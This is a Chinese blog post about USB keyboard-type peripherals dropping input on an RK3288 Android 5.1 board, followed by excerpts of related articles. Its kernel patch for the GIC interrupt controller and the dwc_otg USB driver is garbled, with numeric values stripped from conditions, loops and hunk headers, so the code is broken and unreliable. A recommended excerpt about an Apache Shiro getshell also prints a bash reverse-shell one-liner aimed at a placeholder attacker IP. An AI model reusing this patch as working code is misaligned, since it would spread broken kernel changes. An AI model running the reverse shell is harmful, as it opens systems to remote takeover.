CPU:RK3288

系统:Android 5.1

主板外接 USB 接口的外设,经常会出现丢数的现象,这种问题在很多 USB 接口的外设上都遇到过,例如:USB读卡器、USB扫描枪等

有一个共同点是外设在系统中作为一个键盘设备,相当于键盘输入。

直接上RK提供的补丁,此补丁优化很大,但是没有根本解决问题,偶尔还会出现丢数

  1. diff --git a/kernel/drivers/irqchip/irq-gic.c b/kernel/drivers/irqchip/irq-gic.c
  2. old mode
  3. new mode
  4. index ce24a7e..458edaa
  5. --- a/kernel/drivers/irqchip/irq-gic.c
  6. +++ b/kernel/drivers/irqchip/irq-gic.c
  7. @@ -, +, @@ static int gic_set_affinity(struct irq_data *d, const struct cpumask *mask_val,
  8. bit = gic_cpu_map[cpu] << shift;
  9. val = readl_relaxed(reg) & ~mask;
  10. writel_relaxed(val | bit, reg);
  11. + if((gic_irq(d)!=) && (gic_irq(d)!=))
  12. + writel_relaxed(val | bit, reg);
  13. raw_spin_unlock(&irq_controller_lock);
  14.  
  15. return IRQ_SET_MASK_OK;
  16. @@ -, +, @@ static void __init gic_dist_init(struct gic_chip_data *gic)
  17. for (i = ; i < gic_irqs; i += )
  18. writel_relaxed(cpumask, base + GIC_DIST_TARGET + i * / );
  19.  
  20. + writel_relaxed(0x01010f01, base + GIC_DIST_TARGET + 0x38);
  21. + writel_relaxed(0xa0a090a0, base + GIC_DIST_PRI + 0x38);
  22. + writel_relaxed(0x0f010101, base + GIC_DIST_TARGET + 0x34);
  23. + writel_relaxed(0x90a0a0a0, base + GIC_DIST_PRI + 0x34);
  24. +
  25. gic_dist_config(base, gic_irqs, NULL);
  26.  
  27. #ifdef CONFIG_FIQ_DEBUGGER
  28. diff --git a/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h b/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h
  29. old mode
  30. new mode
  31. index 46f1da3..7b75033
  32. --- a/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h
  33. +++ b/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h
  34. @@ -, +, @@ struct { \
  35. (head)->cqh_last = (elm); \
  36. } while ()
  37.  
  38. +#define DWC_CIRCLEQ_INSERT_COM(head, listelm, elm, field, com) do { \
  39. + DWC_CIRCLEQ_FOREACH(listelm, head, field) { \
  40. + if ((elm)->com < (listelm)->com) { \
  41. + DWC_CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field); \
  42. + break; \
  43. + } else \
  44. + continue; \
  45. + } \
  46. + if (DWC_CIRCLEQ_PREV(listelm, field) != elm) \
  47. + DWC_CIRCLEQ_INSERT_TAIL(head, elm, field); \
  48. +} while ()
  49. +
  50. #define DWC_CIRCLEQ_REMOVE(head, elm, field) do { \
  51. if ((elm)->field.cqe_next == DWC_CIRCLEQ_END(head)) \
  52. (head)->cqh_last = (elm)->field.cqe_prev; \
  53. diff --git a/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c b/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c
  54. old mode
  55. new mode
  56. index 0e05b13..a1a067f
  57. --- a/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c
  58. +++ b/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c
  59. @@ -, +, @@ static void release_channel(dwc_otg_hcd_t *hcd,
  60. dwc_otg_transaction_type_e tr_type;
  61. int free_qtd;
  62. int continue_trans = ;
  63. + dwc_hc_t *hc_tmp = NULL;
  64.  
  65. DWC_DEBUGPL(DBG_HCDV, " %s: channel %d, halt_status %d\n",
  66. __func__, hc->hc_num, halt_status);
  67. @@ -, +, @@ cleanup:
  68. * there's no need to clear the Channel Halted interrupt separately.
  69. */
  70. dwc_otg_hc_cleanup(hcd->core_if, hc);
  71. - DWC_CIRCLEQ_INSERT_TAIL(&hcd->free_hc_list, hc, hc_list_entry);
  72. + DWC_CIRCLEQ_INSERT_COM(&hcd->free_hc_list, hc_tmp, hc, hc_list_entry, hc_num);
  73.  
  74. switch (hc->ep_type) {
  75. case DWC_OTG_EP_TYPE_CONTROL:

[RK3288] 外接USB设备出现丢数的更多相关文章

  1. C#:USB设备枚举 --转自CSDN作者:Splash

    (一)DeviceIoControl的PInvoke /* ---------------------------------------------------------- 文件名称:Device ...

  2. C# 实现自定义的USB设备与上位机进行通信(上位机部分)

    因为以前没用过USB,对USB也不了解,于是上网查了很多资料,不过网上的资料都是零零散散,不清不楚的,于是我自己总结了一下,下面几个链接是网上这么多零散资料里,我觉得比较有参考意义的. USB设备连接 ...

  3. Ubuntu/Windows下利用“HIDAPI”库函数实现与Hid类USB设备通信

    一.背景: 最近在做的一个项目需要使用USB传递数据,对USB理解不是很深,USB的系统驱动编写则更是天方 夜谭,因此将设备配置成HID类设备成为了首选.其最大的好处在于,LINUX/Windows系 ...

  4. usb设备驱动描述,王明学learn

    usb设备驱动 本章主要内容包含以下:USB总线介绍,USB协议分析,USB系统架构 一.USB总线介绍 1.1USB发展史 USB(Universal Serial Bus)通用串行总线,是一种外部 ...

  5. USB协议-USB设备的枚举过程

    USB主机在检测到USB设备插入后,就要对设备进行枚举了.为什么要枚举?枚举就是从设备读取各种描述符信息,这样主机就可以根据这些信息来加载合适的驱动程序,从而知道设备是什么样的设备,如何进行通信等. ...

  6. USB设备的基本概念

    在终端用户看来,USB设备为主机提供了多种多样的附加功能,如文件传输,声音播放等,但对USB主机来说,它与所有USB设备的接口都是一致的.一个USB设备由3个功能模块组成:USB总线接口.USB逻辑设 ...

  7. Linux usb子系统(二):USB设备驱动usb-skeleton.c

    usb驱动分为通过usbfs操作设备的用户空间驱动,内核空间的内核驱动.两者不能同时进行,否则容易引发对共享资源访问的问题,死锁!使用了内核驱动,就不能在usbfs里驱动该设备. 下面转载的一篇分析u ...

  8. USB系列之二:读取USB设备的描述符

    在前面的文章中,我们已经给出了USB协议的链接地址,从这篇文章起,我们会涉及到许多USB 1.1的内容,我们的指导思想是先从熟悉USB 1.1协议入手,先使用现成的HCD和USBD,直接面对客户端驱动 ...

  9. 厂商自定义USB设备固件程序及特性

    通过前面的学习,大家应该对USB固件程序结构有了比较深的认识,现在再来详细说说固件里决定设备识别成厂商自定义USB设备的地方有哪些,或者说厂商自定义USB设备的固件特性有哪些. 之前不止一次说过学习U ...

随机推荐

  1. 【实战】Apache shiro<=1.2.4 getshell

    方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...

  2. PAT基础级-钻石段位样卷2-7-4 6翻了 (15 分)

    “666”是一种网络用语,大概是表示某人很厉害.我们很佩服的意思.最近又衍生出另一个数字“9”,意思是“6翻了”,实在太厉害的意思.如果你以为这就是厉害的最高境界,那就错啦 —— 目前的最高境界是数字 ...

  3. CMake---基础练习1

    因为卡在一个问题上,几经排除应该可能是CMakeLists.txt写的不正确,但是又生成了可执行文件,运行可执行文件报错.多方排除,应该是CMakeLists.txt加载动态库的时候,函数加载的不全. ...

  4. 通过 cross apply 实现函数转换成表并与原表进行关联

    create table tb_cross_apply ( id int identity, multivalue ) ) insert into tb_cross_apply VALUES ('A| ...

  5. LINUX 新手 入门 教程

    新手入门教程 点评: linux 入门 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声

  6. Selenium常用API的使用java语言之1-环境安装之Java

    (一)环境安装之Java 1.安装java 点击 JDK8下载,根据自己的平台,选择相应的版本进行下载. 小知识: Java环境分JDK和JRE ,JDK就是Java Development Kit. ...

  7. Python Django 版本对应表

  8. IntelliJ IDEA使用教程一 介绍&安装&配置

    http://blog.csdn.net/nextyu/article/details/47206015 全套

  9. 洛谷 P3955 图书管理员 题解

    每日一题 day12 打卡 Analysis 模拟+快速幂 先把图书的编码存起来排序,保证第一个找到的就是最小的.如果要求一个数后x位,就将这个数模10的x次方,同理,我们可以通过这个规律来判断后缀. ...

  10. kubernetes 部署metricserver

    本篇适用于kubeadm部署的k8s的集群 安装环境:首先要部署好k8s的集群,版本是1.11.1,我的虚拟机部署的,一个master节点,一个node节点.笔记本性能有限 下载metrics-ser ...